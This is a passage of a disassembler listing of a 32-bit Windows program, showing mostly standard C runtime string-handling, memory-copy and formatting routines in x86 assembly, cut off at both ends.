[ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 268026Ah nop test eax, eax jnz short loc_41BDF2 nop call near ptr 268082Fh jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB974 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB974, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A940 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; 